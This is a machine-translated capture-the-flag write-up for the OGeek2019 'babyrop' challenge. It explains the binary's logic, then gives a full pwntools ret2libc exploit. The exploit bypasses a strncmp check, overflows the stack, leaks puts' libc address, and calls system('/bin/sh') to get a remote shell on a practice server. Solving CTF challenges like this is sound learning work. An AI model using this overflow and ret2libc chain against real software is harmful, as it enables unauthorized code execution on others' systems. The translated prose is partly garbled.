当前位置:网站首页>[OGeek2019]babyrop
[OGeek2019]babyrop
2022-07-23 23:33:00 【Long street 395】
List of articles
One 、 see file


32 position
Two 、IDA Decompile
Let's look at the code :
fd It's a file handle , Open a file with a given random value , Truncated into four bytes int Assign to
buf Pass in sub_804871F():
therefore buf It's also a random number .
Let's look at it in order sub_804871F(buf),

sprintf() The parameter a1 Convert to string s, The next line reads the string buf,v5 Is its length
Next two rows buf The last character is removed ,v1 For its new length
Next if nesting strncmp
The real overflow point is sub_80487D0() Inside :

Consider controlling parameters a1 Is a larger number (0xff), Trigger read() The stack overflowed
This requires us to be in sub_804871F() Also through read() Make an overflow
Give Way buf And the length of it reaches 8 Can cover up return The variable of
Then there is the routine ret2libc,
stay sub_80487D0() Return the address to by hijacking write() Leak a function ( I use it read ) Of got Table address
Finally, add the offset to get system() and ‘/bin/sh’ The real address of
Repeated calls to sub_80487D0(), Stack overflow , Make the program call system(‘/bin/sh’), success getshell
Code
from pwn import *
#attack
r = remote("node4.buuoj.cn",27516)
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")# Download from the link below the title
#params
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr = 0x8048825
#attack1
payload = b'\x00' + b'M'*6 + b'\xff'
r.sendline(payload)
#attack2
payload_1 = b'M'*(0xE7+4) + p32(puts_plt) + p32(main_addr) + p32(puts_got)
r.sendline(payload_1)
r.recvline()
puts_addr = u32(r.recv(4))
print("puts_addr: " + hex(puts_addr))
#attack3
r.sendline(payload)
#libc
base_addr = puts_addr - libc.symbols['puts']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b'/bin/sh'))
print("system_addr: " + hex(system_addr))
print("bin_sh_addr: " + hex(bin_sh_addr))
#attack4
payload_2 = b'M'*(0xE7+4) + p32(system_addr) + b'M'*4 +p32(bin_sh_addr)
r.sendline(payload_2)
r.interactive()


边栏推荐
- The canfd/can interface offline burning operation instructions of h7-tool have been updated (2022-07-12)
- Interviewer: if the order is not paid within 30 minutes after it is generated, it will be automatically cancelled. How to realize it?
- strncat() strncmp()
- 二,数字逻辑功能单元
- 虚拟机导入iso后 Operating System not found 解决方法
- iptables防止nmap扫描以及binlog
- Software architecture
- 网络安全课堂作业
- Three network modes of VMware virtual machine
- BUUCTF -rip
猜你喜欢

BUUCTF -rip

【Error】TypeError: expected str, bytes or os. PathLike object, not int

Smart IOT source code with configuration IOT source code industrial IOT source code: support sensor analysis services, real-time data collection and remote control

C # introductory series (XXVIII) -- query syntax of LINQ

How to migrate databases in the flask framework

Redis管道技术/分区

Redis集群搭建(Cluster 集群模式,分片集群)

H7-tool serial port offline burning operation instructions, support TTL serial port, RS232 and RS485 (2022-06-30)

第七章、测试架构元素

Strncat () strncmp ()
随机推荐
iptables防止nmap扫描以及binlog
warmup_csaw_2016
Mongodb database + graphical tools download, installation and use
Series of articles | the way to advance the microservice architecture in the cloud native era - best practices of microservice splitting
TOPSIS method (matlab)
Lixia action 2022 Yuanqi digital round table forum will be launched soon
[web vulnerability exploration] SQL injection vulnerability
[audio and video technology] video quality evaluation MSU vqmt & Netflix vmaf
USB转CAN设备在核酸提取仪 高性能USB接口CAN卡
The basic syntax of go language (variables, constants, basic data types, for, switch, case, array, slice, make, new, map)
mysqlbinlog命令介绍(远程拉取binlog日志)
第六章、实现一个持久性适配器
Brief analysis of compiling principle of.Net CLR R2R
A great open source micro community light forum source code
ciscn_2019_n_1
网络安全课堂作业
[leetcode ladder] linked list · 203 remove linked list elements
Redis管道技术/分区
USB to can device in nucleic acid extractor high performance USB interface can card
BGP选路,MPLS